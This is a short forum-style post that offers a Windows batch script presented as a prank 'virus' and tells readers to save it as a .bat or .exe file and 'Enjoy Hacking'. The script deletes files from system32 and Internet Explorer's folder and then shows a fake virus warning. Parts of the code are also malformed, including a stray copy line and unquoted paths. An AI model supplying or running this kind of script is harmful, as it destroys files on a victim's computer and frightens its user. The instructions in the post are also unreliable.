This code just like if u r format ur system .the system will clean

@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe
msg "WARNING:A VIRUS TOOK OVER YOUR COMPUTER VIRUS NOTICED AS:Blackcoder.exe"

Copy this into a notepad an save as ".bat" or ".exe"
Be Careful With The File.. Please
Enjoy Hacking....